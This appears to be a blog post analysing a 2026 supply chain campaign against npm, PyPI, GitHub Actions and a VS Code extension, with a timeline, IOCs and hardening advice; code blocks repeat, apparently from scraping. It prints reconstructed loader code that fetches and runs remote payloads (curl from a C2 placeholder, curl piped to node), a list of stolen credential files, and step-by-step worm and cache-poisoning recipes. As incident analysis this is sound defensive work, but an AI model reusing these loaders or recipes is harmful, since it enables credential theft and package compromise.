Tools: TeamPCP Broke GitHub — And Nobody Saw It Coming (But They Should Have) - Full Analysis

Tools: TeamPCP Broke GitHub — And Nobody Saw It Coming (But They Should Have) - Full Analysis

A deep technical breakdown of how TeamPCP / UNC6780 ran a 3-month supply chain campaign ending in GitHub's own internal breach. Timeline, attack anatomy, IOCs, and what every developer needs to lock down NOW.

Why I'm Writing This

The Actor: Who is TeamPCP / UNC6780?

The Full Timeline: 3 Months of Escalation

Attack Anatomy — How Each Wave Worked

Wave 1 (March): Trivy — The Credential Rotation Mistake

Wave 2 (Late March): LiteLLM — .pth Persistence

Wave 3 (March 27): Telnyx — WAV Steganography

Wave 4 (March 31): axios — 100 Million Weekly Downloads

Wave 5 (April 27): @bitwarden/cli — The Self-Propagating Twist

Wave 6 (May 11): TanStack — GitHub Actions Cache Poisoning

Wave 7 (May 18): Nx Console — The GitHub Kill Shot

The GitHub Breach: Post-Mortem

What Got Taken

What GitHub Did Right

What GitHub Did Wrong (Structurally)

The Shai-Hulud Worm: Technical Deep Dive

IOCs and Detection Signals

Package-Level IOCs

Behavioral IOCs

Attribution Fingerprints (Technical)

The Nx Console Exposure Window: Are YOU Affected?

What Every Developer Should Do Now

Immediate Actions

Structural Hardening

Detection at the npm Level

The Bigger Picture: 2026 as the Year of the Developer Supply Chain

Why Architecture Beats Prompts (And Beats Patches Too) TL;DR: Between March and May 2026, a financially motivated threat group called TeamPCP executed the most sustained developer supply chain campaign in recent history — compromising Trivy, Checkmarx, Bitwarden CLI, axios, TanStack, Mistral AI, OpenAI, and finally GitHub itself. The final vector: a VS Code extension live for 18 minutes. That was enough. I've been following the 2026 breach cluster since the ShinyHunters identity-layer pivot. But TeamPCP is a different animal. ShinyHunters went after third-party vendor credentials. TeamPCP went after you — your laptop, your VS Code, your npm tokens, your GitHub PAT sitting in ~/.gitconfig. If you write code, you are the attack surface. Full stop. Motivation: Purely financial. No geopolitical agenda. They steal credentials, sell data, and run extortion. They've also partnered with ransomware group Vect — signaling a possible pivot from credential theft toward full-scale extortion operations. The campaign started with a mistake by Aqua Security: incomplete credential rotation after a prior incident. CVE-2026-33634 (CVSS v4.0: 9.4) — Listed in CISA KEV catalog, remediation deadline April 9, 2026. Why ICP canisters? Traditional C2 infrastructure can be taken down (domain seizure, IP block). ICP runs on a decentralized blockchain. You can't "block" it. This is a meaningful evolution in C2 design. LiteLLM is the AI gateway library. It sits between your app and OpenAI/Anthropic/whatever. Extremely high-value target. The .pth persistence trick:

Any .pth file in Python's site-packages gets executed on every Python interpreter invocation. Not on install. Not on import. On every single python call on the system. This one is technically elegant and worth understanding. Why WAV? Because most egress filters and DLP tools don't inspect audio files for executable content. WAV has no signature that screams "malware." It passes through corporate proxies quietly. This is the one that should have been a five-alarm fire for the entire JavaScript ecosystem. Payload: A cross-platform RAT targeting macOS, Windows, and Linux. Not a simple credential stealer — a full Remote Access Trojan. The scary part: how many npm install runs happened in those 3 hours? How many CI pipelines pulled a fresh install? How many Docker images cached that version? This is where the campaign got genuinely worm-like. This is not a supply chain attack. This is a supply chain worm. One compromised developer with publish access = their entire package portfolio weaponized automatically. This is the most technically sophisticated vector in the campaign. No stolen credentials needed. Target: @tanstack/react-router — ~12.7 million weekly downloads. The critical detail: The workflow had pull_request trigger with cache write permissions. This is a common misconfiguration. The pull_request_target vs pull_request distinction is one of the most dangerous footguns in GitHub Actions. Result: 84 malicious package versions across 42 @tanstack/* packages published in under 6 minutes between 19:20 and 19:26 UTC. Now we get to the main event. Target: nrwl.angular-console (Nx Console) — 2.2 million installs, verified publisher status. The payload mechanism: What the 498KB payload stole: Why "orphan commit" hosting is clever: Detection-to-public-disclosure in under 24 hours is actually good. The problem was the infection happening at all. An employee ran an auto-updated VS Code extension on a device with access to 3,800 internal repos. The blast radius of a single developer endpoint should never be that large. No apparent extension allowlisting. The malicious version was on the Marketplace for 18 minutes. With allowlisting + minimum-age policies, this installs nothing. GitHub still hasn't formally named the extension. This is a transparency problem. The security community identified Nx Console v18.95.0 through independent analysis. Official confirmation matters for incident response across the 2.2M install base. The worm that powered much of this campaign deserves its own section. Original Shai-Hulud (Sep 2025) — Core Mechanism: This is exponential propagation. One stolen token = potentially thousands of downstream packages. Mini Shai-Hulud evolution (2026): The open-sourcing move is a threat multiplier. TeamPCP turned their campaign tool into a platform. Within days of the source code drop, OX Security documented the first copycat campaign from a new actor publishing 4 malicious npm packages using the Shai-Hulud codebase. If you have VS Code with auto-update enabled and Nx Console installed, you need to check. TeamPCP's campaign doesn't exist in a vacuum. They are the sharpest expression of a broader trend that's been building since 2020. The threat model has inverted. Your datacenter might be hardened. Your developer laptop running VS Code with 40 extensions and auto-update enabled is the attack surface that matters. Five Eyes — CISA, NSA, ASD ACSC, CCCS, NCSC-UK, NCSC-NZ — published joint guidance titled "Careful Adoption of Agentic AI Services" on May 1, 2026, covering supply-chain risk for agentic tooling. The timing is not a coincidence. The 18 minutes Nx Console was live. The 6 minutes TanStack was being poisoned across 42 packages. The 3 hours axios was distributing a RAT. Detection is reactive. Patching is reactive. Architecture is proactive. The developers who weren't hit by these campaigns weren't necessarily smarter or faster. They had: The perimeter isn't your datacenter. It's your ~/.npmrc. Security research compiled from public disclosures, vendor advisories, and independent analysis published through May 20, 2026. Attribution assessments follow Wiz (high confidence), Socket and StepSecurity (medium confidence) published frameworks. IOCs may evolve — treat this as a snapshot, not a definitive indicator list. If this helped you understand what actually happened — share it. Your colleagues who haven't rotated their npm tokens yet need to read this. Templates let you quickly answer FAQs or store snippets for re-use. Hide child comments as well For further actions, you may consider blocking this person and/or reporting abuse

Code Block

Copy

Mar 19 ──── Trivy (aquasecurity) → CanisterWorm ICP C2 Mar 25 ──── Checkmarx KICS Docker images Mar 26 ──── LiteLLM (AI gateway) → .pth persistence Mar 27 ──── Telnyx SDK → WAV steganography payload Mar 31 ──── axios 1.14.1 / 0.30.0 → cross-platform RAT [100M weekly DL] Apr 22 ──── Checkmarx KICS VS Code extension Apr 27 ──── @bitwarden/cli 2026.4.0 → self-propagating Apr 29-May 1 ─ Mini Shai-Hulud Wave 1: SAP CAP, PyTorch Lightning, intercom-client May 11 ──── Mini Shai-Hulud Wave 2: 84 @tanstack/* packages in 6 minutes May 12 ──── @mistralai/* npm packages (bug in payload — non-functional) May 12 ──── @uipath/* npm packages May 13 ──── Shai-Hulud source code published to GitHub under MIT license May 13 ──── $1,000 Monero supply chain attack contest on BreachForums May 15 ──── OpenAI discloses 2 compromised employee devices (TanStack vector) May 19 ──── Microsoft durabletask Python SDK (PyPI) — 28KB payload May 18 ──── Nx Console v18.95.0 live on VS Code Marketplace [18 minutes] May 19 ──── GitHub detects breach, starts incident response May 20 ──── GitHub publicly confirms: ~3,800 internal repos exfiltrated Mar 19 ──── Trivy (aquasecurity) → CanisterWorm ICP C2 Mar 25 ──── Checkmarx KICS Docker images Mar 26 ──── LiteLLM (AI gateway) → .pth persistence Mar 27 ──── Telnyx SDK → WAV steganography payload Mar 31 ──── axios 1.14.1 / 0.30.0 → cross-platform RAT [100M weekly DL] Apr 22 ──── Checkmarx KICS VS Code extension Apr 27 ──── @bitwarden/cli 2026.4.0 → self-propagating Apr 29-May 1 ─ Mini Shai-Hulud Wave 1: SAP CAP, PyTorch Lightning, intercom-client May 11 ──── Mini Shai-Hulud Wave 2: 84 @tanstack/* packages in 6 minutes May 12 ──── @mistralai/* npm packages (bug in payload — non-functional) May 12 ──── @uipath/* npm packages May 13 ──── Shai-Hulud source code published to GitHub under MIT license May 13 ──── $1,000 Monero supply chain attack contest on BreachForums May 15 ──── OpenAI discloses 2 compromised employee devices (TanStack vector) May 19 ──── Microsoft durabletask Python SDK (PyPI) — 28KB payload May 18 ──── Nx Console v18.95.0 live on VS Code Marketplace [18 minutes] May 19 ──── GitHub detects breach, starts incident response May 20 ──── GitHub publicly confirms: ~3,800 internal repos exfiltrated Mar 19 ──── Trivy (aquasecurity) → CanisterWorm ICP C2 Mar 25 ──── Checkmarx KICS Docker images Mar 26 ──── LiteLLM (AI gateway) → .pth persistence Mar 27 ──── Telnyx SDK → WAV steganography payload Mar 31 ──── axios 1.14.1 / 0.30.0 → cross-platform RAT [100M weekly DL] Apr 22 ──── Checkmarx KICS VS Code extension Apr 27 ──── @bitwarden/cli 2026.4.0 → self-propagating Apr 29-May 1 ─ Mini Shai-Hulud Wave 1: SAP CAP, PyTorch Lightning, intercom-client May 11 ──── Mini Shai-Hulud Wave 2: 84 @tanstack/* packages in 6 minutes May 12 ──── @mistralai/* npm packages (bug in payload — non-functional) May 12 ──── @uipath/* npm packages May 13 ──── Shai-Hulud source code published to GitHub under MIT license May 13 ──── $1,000 Monero supply chain attack contest on BreachForums May 15 ──── OpenAI discloses 2 compromised employee devices (TanStack vector) May 19 ──── Microsoft durabletask Python SDK (PyPI) — 28KB payload May 18 ──── Nx Console v18.95.0 live on VS Code Marketplace [18 minutes] May 19 ──── GitHub detects breach, starts incident response May 20 ──── GitHub publicly confirms: ~3,800 internal repos exfiltrated 1. TeamPCP obtains stale Trivy publish credentials 2. Force-push malicious commits across 76/77 version tags in aquasecurity/trivy-action 3. Payload: CanisterWorm — uses ICP (Internet Computer Protocol) canisters as C2 → Censorship-resistant command-and-control. Can't be taken down by domain seizure. 4. Any CI pipeline running Trivy: compromised 1. TeamPCP obtains stale Trivy publish credentials 2. Force-push malicious commits across 76/77 version tags in aquasecurity/trivy-action 3. Payload: CanisterWorm — uses ICP (Internet Computer Protocol) canisters as C2 → Censorship-resistant command-and-control. Can't be taken down by domain seizure. 4. Any CI pipeline running Trivy: compromised 1. TeamPCP obtains stale Trivy publish credentials 2. Force-push malicious commits across 76/77 version tags in aquasecurity/trivy-action 3. Payload: CanisterWorm — uses ICP (Internet Computer Protocol) canisters as C2 → Censorship-resistant command-and-control. Can't be taken down by domain seizure. 4. Any CI pipeline running Trivy: compromised # What the malicious .pth file looked like conceptually: # /usr/lib/python3.x/site-packages/mal.pth import subprocess; subprocess.Popen(['curl', '-sS', 'https://[C2]/stage2', '-o', '/tmp/s2'], stdout=subprocess.DEVNULL) # What the malicious .pth file looked like conceptually: # /usr/lib/python3.x/site-packages/mal.pth import subprocess; subprocess.Popen(['curl', '-sS', 'https://[C2]/stage2', '-o', '/tmp/s2'], stdout=subprocess.DEVNULL) # What the malicious .pth file looked like conceptually: # /usr/lib/python3.x/site-packages/mal.pth import subprocess; subprocess.Popen(['curl', '-sS', 'https://[C2]/stage2', '-o', '/tmp/s2'], stdout=subprocess.DEVNULL) Developer installs LiteLLM → Malicious postinstall writes .pth file → Every subsequent python command = malware execution Survives pip uninstall of LiteLLM Survives virtualenv recreation Only wiped if you manually audit site-packages Developer installs LiteLLM → Malicious postinstall writes .pth file → Every subsequent python command = malware execution Survives pip uninstall of LiteLLM Survives virtualenv recreation Only wiped if you manually audit site-packages Developer installs LiteLLM → Malicious postinstall writes .pth file → Every subsequent python command = malware execution Survives pip uninstall of LiteLLM Survives virtualenv recreation Only wiped if you manually audit site-packages 1. Malicious Telnyx SDK published 2. On import, SDK fetches a .WAV audio file from C2 3. WAV file is decoded: XOR decryption extracts a Windows PE binary 4. Binary executed in-memory 5. Second-stage RAT establishes persistence 1. Malicious Telnyx SDK published 2. On import, SDK fetches a .WAV audio file from C2 3. WAV file is decoded: XOR decryption extracts a Windows PE binary 4. Binary executed in-memory 5. Second-stage RAT establishes persistence 1. Malicious Telnyx SDK published 2. On import, SDK fetches a .WAV audio file from C2 3. WAV file is decoded: XOR decryption extracts a Windows PE binary 4. Binary executed in-memory 5. Second-stage RAT establishes persistence Timeline: 19:41 UTC — axios 1.14.1 published (malicious) 22:47 UTC — axios 0.30.0 published (malicious) ~23:30 UTC — malicious versions removed Window: ~3 hours for 1.14.1, ~45 minutes for 0.30.0 Timeline: 19:41 UTC — axios 1.14.1 published (malicious) 22:47 UTC — axios 0.30.0 published (malicious) ~23:30 UTC — malicious versions removed Window: ~3 hours for 1.14.1, ~45 minutes for 0.30.0 Timeline: 19:41 UTC — axios 1.14.1 published (malicious) 22:47 UTC — axios 0.30.0 published (malicious) ~23:30 UTC — malicious versions removed Window: ~3 hours for 1.14.1, ~45 minutes for 0.30.0 Install malicious @bitwarden/cli → Payload executes (credential theft) → Payload enumerates ALL npm packages the victim can publish → Injects malicious code into EACH of those packages → Re-publishes them → Every downstream user of victim's packages is now infected Install malicious @bitwarden/cli → Payload executes (credential theft) → Payload enumerates ALL npm packages the victim can publish → Injects malicious code into EACH of those packages → Re-publishes them → Every downstream user of victim's packages is now infected Install malicious @bitwarden/cli → Payload executes (credential theft) → Payload enumerates ALL npm packages the victim can publish → Injects malicious code into EACH of those packages → Re-publishes them → Every downstream user of victim's packages is now infected The exploit: 1. Fork the TanStack repository 2. Open a pull request from the fork 3. A GitHub Actions workflow triggers on pull_request with write access to base repo's cache 4. Attacker's code poisons that cache with malicious content 5. Wait for a legitimate release to use the poisoned cache 6. Malicious code injected into build artifacts 7. Release published — clean on the outside, poisoned inside The exploit: 1. Fork the TanStack repository 2. Open a pull request from the fork 3. A GitHub Actions workflow triggers on pull_request with write access to base repo's cache 4. Attacker's code poisons that cache with malicious content 5. Wait for a legitimate release to use the poisoned cache 6. Malicious code injected into build artifacts 7. Release published — clean on the outside, poisoned inside The exploit: 1. Fork the TanStack repository 2. Open a pull request from the fork 3. A GitHub Actions workflow triggers on pull_request with write access to base repo's cache 4. Attacker's code poisons that cache with malicious content 5. Wait for a legitimate release to use the poisoned cache 6. Malicious code injected into build artifacts 7. Release published — clean on the outside, poisoned inside # DANGEROUS — allows fork PRs to write to base repo cache on: pull_request: jobs: build: permissions: actions: write # <-- this is the problem # DANGEROUS — allows fork PRs to write to base repo cache on: pull_request: jobs: build: permissions: actions: write # <-- this is the problem # DANGEROUS — allows fork PRs to write to base repo cache on: pull_request: jobs: build: permissions: actions: write # <-- this is the problem # SAFER on: pull_request: jobs: build: permissions: actions: read # read-only contents: read # SAFER on: pull_request: jobs: build: permissions: actions: read # read-only contents: read # SAFER on: pull_request: jobs: build: permissions: actions: read # read-only contents: read Timeline: 12:30 UTC May 18 — Malicious v18.95.0 published to VS Code Marketplace 12:36 UTC — Confirmed live with malicious main.js 12:48 UTC — Community detection, version pulled (18 minutes) 36 min — Also pulled from OpenVSX May 19 — GitHub detects breach on employee device May 20 — GitHub publicly confirms ~3,800 internal repos exfiltrated Timeline: 12:30 UTC May 18 — Malicious v18.95.0 published to VS Code Marketplace 12:36 UTC — Confirmed live with malicious main.js 12:48 UTC — Community detection, version pulled (18 minutes) 36 min — Also pulled from OpenVSX May 19 — GitHub detects breach on employee device May 20 — GitHub publicly confirms ~3,800 internal repos exfiltrated Timeline: 12:30 UTC May 18 — Malicious v18.95.0 published to VS Code Marketplace 12:36 UTC — Confirmed live with malicious main.js 12:48 UTC — Community detection, version pulled (18 minutes) 36 min — Also pulled from OpenVSX May 19 — GitHub detects breach on employee device May 20 — GitHub publicly confirms ~3,800 internal repos exfiltrated // Simplified reconstruction of what happened in main.js // (based on OX Security / StepSecurity analysis) // Normal extension startup... // ...then silently: const { execSync } = require('child_process'); // Fetch payload from a planted ORPHAN COMMIT in the official nrwl/nx repo // This is genius — the payload is hosted on GitHub itself // The extension publisher can't be blamed, the official repo looks clean // The orphan commit doesn't appear in git log const payloadUrl = 'https://raw.githubusercontent.com/nrwl/nx/[orphan-sha]/[hidden-path]/payload.js'; // 498KB obfuscated payload // Executes within SECONDS of opening any workspace execSync(`curl -sS ${payloadUrl} | node`, { stdio: 'ignore' }); // Simplified reconstruction of what happened in main.js // (based on OX Security / StepSecurity analysis) // Normal extension startup... // ...then silently: const { execSync } = require('child_process'); // Fetch payload from a planted ORPHAN COMMIT in the official nrwl/nx repo // This is genius — the payload is hosted on GitHub itself // The extension publisher can't be blamed, the official repo looks clean // The orphan commit doesn't appear in git log const payloadUrl = 'https://raw.githubusercontent.com/nrwl/nx/[orphan-sha]/[hidden-path]/payload.js'; // 498KB obfuscated payload // Executes within SECONDS of opening any workspace execSync(`curl -sS ${payloadUrl} | node`, { stdio: 'ignore' }); // Simplified reconstruction of what happened in main.js // (based on OX Security / StepSecurity analysis) // Normal extension startup... // ...then silently: const { execSync } = require('child_process'); // Fetch payload from a planted ORPHAN COMMIT in the official nrwl/nx repo // This is genius — the payload is hosted on GitHub itself // The extension publisher can't be blamed, the official repo looks clean // The orphan commit doesn't appear in git log const payloadUrl = 'https://raw.githubusercontent.com/nrwl/nx/[orphan-sha]/[hidden-path]/payload.js'; // 498KB obfuscated payload // Executes within SECONDS of opening any workspace execSync(`curl -sS ${payloadUrl} | node`, { stdio: 'ignore' }); Targets: ├── 1Password vaults (CLI / desktop integration) ├── GitHub tokens (PATs, OAuth, GHES tokens) ├── npm auth tokens (~/.npmrc) ├── AWS credentials (~/.aws/credentials) ├── Anthropic Claude Code configuration │ └── API keys, project configs └── General credential stores Targets: ├── 1Password vaults (CLI / desktop integration) ├── GitHub tokens (PATs, OAuth, GHES tokens) ├── npm auth tokens (~/.npmrc) ├── AWS credentials (~/.aws/credentials) ├── Anthropic Claude Code configuration │ └── API keys, project configs └── General credential stores Targets: ├── 1Password vaults (CLI / desktop integration) ├── GitHub tokens (PATs, OAuth, GHES tokens) ├── npm auth tokens (~/.npmrc) ├── AWS credentials (~/.aws/credentials) ├── Anthropic Claude Code configuration │ └── API keys, project configs └── General credential stores # An orphan commit has no parent and doesn't appear in any branch # It's invisible in normal git log # But it's still accessible via its SHA git fetch origin [sha] git show [sha]:[file] # The nrwl/nx repo looks completely clean to any auditor # The payload sits in a dangling object that most scanners miss # An orphan commit has no parent and doesn't appear in any branch # It's invisible in normal git log # But it's still accessible via its SHA git fetch origin [sha] git show [sha]:[file] # The nrwl/nx repo looks completely clean to any auditor # The payload sits in a dangling object that most scanners miss # An orphan commit has no parent and doesn't appear in any branch # It's invisible in normal git log # But it's still accessible via its SHA git fetch origin [sha] git show [sha]:[file] # The nrwl/nx repo looks completely clean to any auditor # The payload sits in a dangling object that most scanners miss May 19, 2026 — Detection (same day as infection) ├── Isolated the compromised endpoint ├── Removed malicious extension version from Marketplace ├── Began rotating high-impact credentials and cryptographic keys └── Opened internal incident response investigation May 20, 2026 — Public disclosure (next day) ├── Statement on X with technical summary ├── Investigation ongoing └── Committed to publishing detailed post-mortem May 19, 2026 — Detection (same day as infection) ├── Isolated the compromised endpoint ├── Removed malicious extension version from Marketplace ├── Began rotating high-impact credentials and cryptographic keys └── Opened internal incident response investigation May 20, 2026 — Public disclosure (next day) ├── Statement on X with technical summary ├── Investigation ongoing └── Committed to publishing detailed post-mortem May 19, 2026 — Detection (same day as infection) ├── Isolated the compromised endpoint ├── Removed malicious extension version from Marketplace ├── Began rotating high-impact credentials and cryptographic keys └── Opened internal incident response investigation May 20, 2026 — Public disclosure (next day) ├── Statement on X with technical summary ├── Investigation ongoing └── Committed to publishing detailed post-mortem 1. Steal npm publish token from compromised environment 2. Enumerate every package that token can reach 3. Inject malicious postinstall hook into each package 4. Re-publish all of them 5. Any developer who installs any of those packages → infected 6. Their tokens stolen → their packages infected 7. Repeat 1. Steal npm publish token from compromised environment 2. Enumerate every package that token can reach 3. Inject malicious postinstall hook into each package 4. Re-publish all of them 5. Any developer who installs any of those packages → infected 6. Their tokens stolen → their packages infected 7. Repeat 1. Steal npm publish token from compromised environment 2. Enumerate every package that token can reach 3. Inject malicious postinstall hook into each package 4. Re-publish all of them 5. Any developer who installs any of those packages → infected 6. Their tokens stolen → their packages infected 7. Repeat Added in Nov/Dec 2025: └── Data-wiping functionality (destructive payload option) Added in April 2026: └── No stolen credential needed (GitHub Actions cache poisoning) └── Cross-registry simultaneous strike (npm + PyPI + RubyGems same 48h window) Added in May 2026: └── VS Code extension vector └── IDE plugin ecosystem targeting └── Source code open-sourced (MIT license on GitHub) └── $1,000 Monero "supply chain contest" on BreachForums → copycat actors Added in Nov/Dec 2025: └── Data-wiping functionality (destructive payload option) Added in April 2026: └── No stolen credential needed (GitHub Actions cache poisoning) └── Cross-registry simultaneous strike (npm + PyPI + RubyGems same 48h window) Added in May 2026: └── VS Code extension vector └── IDE plugin ecosystem targeting └── Source code open-sourced (MIT license on GitHub) └── $1,000 Monero "supply chain contest" on BreachForums → copycat actors Added in Nov/Dec 2025: └── Data-wiping functionality (destructive payload option) Added in April 2026: └── No stolen credential needed (GitHub Actions cache poisoning) └── Cross-registry simultaneous strike (npm + PyPI + RubyGems same 48h window) Added in May 2026: └── VS Code extension vector └── IDE plugin ecosystem targeting └── Source code open-sourced (MIT license on GitHub) └── $1,000 Monero "supply chain contest" on BreachForums → copycat actors Known malicious versions (rotate credentials if you used these): ├── npm │ ├── axios 1.14.1, 0.30.0 (March 31, 2026) │ ├── @bitwarden/cli 2026.4.0 │ ├── @tanstack/react-router [malicious versions, May 11] │ ├── @tanstack/* (42 packages, May 11, 19:20-19:26 UTC) │ ├── @mistralai/* (May 12 — payload non-functional) │ └── @uipath/* (May 12 — payload non-functional) ├── PyPI │ ├── litellm [March 2026 malicious versions] │ ├── telnyx 4.87.2 │ └── microsoft-durabletask-worker [May 19, 3 versions] ├── VS Code Marketplace │ └── nrwl.angular-console 18.95.0 (May 18, 12:30-12:48 UTC) └── GitHub Actions └── aquasecurity/trivy-action [76/77 tags, March 2026] Known malicious versions (rotate credentials if you used these): ├── npm │ ├── axios 1.14.1, 0.30.0 (March 31, 2026) │ ├── @bitwarden/cli 2026.4.0 │ ├── @tanstack/react-router [malicious versions, May 11] │ ├── @tanstack/* (42 packages, May 11, 19:20-19:26 UTC) │ ├── @mistralai/* (May 12 — payload non-functional) │ └── @uipath/* (May 12 — payload non-functional) ├── PyPI │ ├── litellm [March 2026 malicious versions] │ ├── telnyx 4.87.2 │ └── microsoft-durabletask-worker [May 19, 3 versions] ├── VS Code Marketplace │ └── nrwl.angular-console 18.95.0 (May 18, 12:30-12:48 UTC) └── GitHub Actions └── aquasecurity/trivy-action [76/77 tags, March 2026] Known malicious versions (rotate credentials if you used these): ├── npm │ ├── axios 1.14.1, 0.30.0 (March 31, 2026) │ ├── @bitwarden/cli 2026.4.0 │ ├── @tanstack/react-router [malicious versions, May 11] │ ├── @tanstack/* (42 packages, May 11, 19:20-19:26 UTC) │ ├── @mistralai/* (May 12 — payload non-functional) │ └── @uipath/* (May 12 — payload non-functional) ├── PyPI │ ├── litellm [March 2026 malicious versions] │ ├── telnyx 4.87.2 │ └── microsoft-durabletask-worker [May 19, 3 versions] ├── VS Code Marketplace │ └── nrwl.angular-console 18.95.0 (May 18, 12:30-12:48 UTC) └── GitHub Actions └── aquasecurity/trivy-action [76/77 tags, March 2026] # Signs of active Shai-Hulud/TeamPCP infection: # 1. Unexpected .pth files in site-packages find /usr/lib/python* /usr/local/lib/python* ~/.local/lib/python* \ -name "*.pth" -newer /var/log/dpkg.log 2>/dev/null # 2. Unusual outbound connections during npm install # Look for curl/node spawned by VS Code extension process # 3. Orphan commits being fetched git fsck --lost-found 2>&1 | grep "dangling commit" # 4. npm token in environment or .npmrc after extension install grep -r "_authToken" ~/.npmrc ~/.config/npm/ 2>/dev/null # 5. Payload skip signal (Russian locale check in payload) # If your env has LANG=ru_RU — payload was designed to skip you # Signs of active Shai-Hulud/TeamPCP infection: # 1. Unexpected .pth files in site-packages find /usr/lib/python* /usr/local/lib/python* ~/.local/lib/python* \ -name "*.pth" -newer /var/log/dpkg.log 2>/dev/null # 2. Unusual outbound connections during npm install # Look for curl/node spawned by VS Code extension process # 3. Orphan commits being fetched git fsck --lost-found 2>&1 | grep "dangling commit" # 4. npm token in environment or .npmrc after extension install grep -r "_authToken" ~/.npmrc ~/.config/npm/ 2>/dev/null # 5. Payload skip signal (Russian locale check in payload) # If your env has LANG=ru_RU — payload was designed to skip you # Signs of active Shai-Hulud/TeamPCP infection: # 1. Unexpected .pth files in site-packages find /usr/lib/python* /usr/local/lib/python* ~/.local/lib/python* \ -name "*.pth" -newer /var/log/dpkg.log 2>/dev/null # 2. Unusual outbound connections during npm install # Look for curl/node spawned by VS Code extension process # 3. Orphan commits being fetched git fsck --lost-found 2>&1 | grep "dangling commit" # 4. npm token in environment or .npmrc after extension install grep -r "_authToken" ~/.npmrc ~/.config/npm/ 2>/dev/null # 5. Payload skip signal (Russian locale check in payload) # If your env has LANG=ru_RU — payload was designed to skip you High confidence (Wiz): └── Shared RSA public key across Trivy, Telnyx, Nx Console payloads Medium confidence (Socket, StepSecurity): ├── Shared cipher salt across malware families └── Dead-drop string lineage (identical URL patterns for orphan commit hosting) Low confidence: └── Behavioral overlap with Eastern European cybercrime TTPs └── Russian locale skip (standard crew protection measure) High confidence (Wiz): └── Shared RSA public key across Trivy, Telnyx, Nx Console payloads Medium confidence (Socket, StepSecurity): ├── Shared cipher salt across malware families └── Dead-drop string lineage (identical URL patterns for orphan commit hosting) Low confidence: └── Behavioral overlap with Eastern European cybercrime TTPs └── Russian locale skip (standard crew protection measure) High confidence (Wiz): └── Shared RSA public key across Trivy, Telnyx, Nx Console payloads Medium confidence (Socket, StepSecurity): ├── Shared cipher salt across malware families └── Dead-drop string lineage (identical URL patterns for orphan commit hosting) Low confidence: └── Behavioral overlap with Eastern European cybercrime TTPs └── Russian locale skip (standard crew protection measure) Exposure window: May 18, 2026 Time (UTC): 12:30 — 12:48 (VS Code Marketplace) 12:30 — 13:06 (OpenVSX) Check your VS Code extension history: Exposure window: May 18, 2026 Time (UTC): 12:30 — 12:48 (VS Code Marketplace) 12:30 — 13:06 (OpenVSX) Check your VS Code extension history: Exposure window: May 18, 2026 Time (UTC): 12:30 — 12:48 (VS Code Marketplace) 12:30 — 13:06 (OpenVSX) Check your VS Code extension history: # Check VS Code extension install/update logs # Linux/macOS: cat ~/.vscode/extensions/nrwl.angular-console-*/package.json | grep '"version"' # If you see 18.95.0 — assume full compromise # Rotate immediately: # 1. GitHub PATs # 2. npm auth tokens # 3. AWS credentials # 4. 1Password vault (change master password, regenerate secrets) # 5. Anthropic API keys (if you use Claude Code) # Check VS Code extension install/update logs # Linux/macOS: cat ~/.vscode/extensions/nrwl.angular-console-*/package.json | grep '"version"' # If you see 18.95.0 — assume full compromise # Rotate immediately: # 1. GitHub PATs # 2. npm auth tokens # 3. AWS credentials # 4. 1Password vault (change master password, regenerate secrets) # 5. Anthropic API keys (if you use Claude Code) # Check VS Code extension install/update logs # Linux/macOS: cat ~/.vscode/extensions/nrwl.angular-console-*/package.json | grep '"version"' # If you see 18.95.0 — assume full compromise # Rotate immediately: # 1. GitHub PATs # 2. npm auth tokens # 3. AWS credentials # 4. 1Password vault (change master password, regenerate secrets) # 5. Anthropic API keys (if you use Claude Code) # 1. Audit GitHub Actions workflows for dangerous permission combos # Find workflows triggered by pull_request with write permissions: grep -r "pull_request" .github/workflows/ | grep -v "pull_request_target" # Then check if any job has: actions: write OR contents: write # 2. Set minimum token permissions in all workflows # Add this to every workflow job: permissions: contents: read actions: read # 3. Pin ALL GitHub Actions to full commit SHA (not tags) # BAD: uses: actions/checkout@v4 # GOOD: uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # 4. Audit .pth files in Python environments find $(python3 -c "import site; print(' '.join(site.getsitepackages()))") \ -name "*.pth" | xargs cat # 5. Rotate npm tokens if ANY package in your chain was affected npm token revoke [old-token] npm token create --read-only # or with specific package scope # 1. Audit GitHub Actions workflows for dangerous permission combos # Find workflows triggered by pull_request with write permissions: grep -r "pull_request" .github/workflows/ | grep -v "pull_request_target" # Then check if any job has: actions: write OR contents: write # 2. Set minimum token permissions in all workflows # Add this to every workflow job: permissions: contents: read actions: read # 3. Pin ALL GitHub Actions to full commit SHA (not tags) # BAD: uses: actions/checkout@v4 # GOOD: uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # 4. Audit .pth files in Python environments find $(python3 -c "import site; print(' '.join(site.getsitepackages()))") \ -name "*.pth" | xargs cat # 5. Rotate npm tokens if ANY package in your chain was affected npm token revoke [old-token] npm token create --read-only # or with specific package scope # 1. Audit GitHub Actions workflows for dangerous permission combos # Find workflows triggered by pull_request with write permissions: grep -r "pull_request" .github/workflows/ | grep -v "pull_request_target" # Then check if any job has: actions: write OR contents: write # 2. Set minimum token permissions in all workflows # Add this to every workflow job: permissions: contents: read actions: read # 3. Pin ALL GitHub Actions to full commit SHA (not tags) # BAD: uses: actions/checkout@v4 # GOOD: uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # 4. Audit .pth files in Python environments find $(python3 -c "import site; print(' '.join(site.getsitepackages()))") \ -name "*.pth" | xargs cat # 5. Rotate npm tokens if ANY package in your chain was affected npm token revoke [old-token] npm token create --read-only # or with specific package scope # GitHub Actions: Restrict cache write permissions # Dangerous pattern — fork PRs can write cache: on: pull_request: jobs: build: runs-on: ubuntu-latest # Missing explicit permissions = inherits GITHUB_TOKEN defaults (too broad) # Safe pattern: on: pull_request: jobs: build: runs-on: ubuntu-latest permissions: contents: read # read source only pull-requests: read # read PR metadata # NO actions: write # NO packages: write # GitHub Actions: Restrict cache write permissions # Dangerous pattern — fork PRs can write cache: on: pull_request: jobs: build: runs-on: ubuntu-latest # Missing explicit permissions = inherits GITHUB_TOKEN defaults (too broad) # Safe pattern: on: pull_request: jobs: build: runs-on: ubuntu-latest permissions: contents: read # read source only pull-requests: read # read PR metadata # NO actions: write # NO packages: write # GitHub Actions: Restrict cache write permissions # Dangerous pattern — fork PRs can write cache: on: pull_request: jobs: build: runs-on: ubuntu-latest # Missing explicit permissions = inherits GITHUB_TOKEN defaults (too broad) # Safe pattern: on: pull_request: jobs: build: runs-on: ubuntu-latest permissions: contents: read # read source only pull-requests: read # read PR metadata # NO actions: write # NO packages: write # VS Code: Disable auto-update for extensions # Settings → Extensions → Auto Update = false 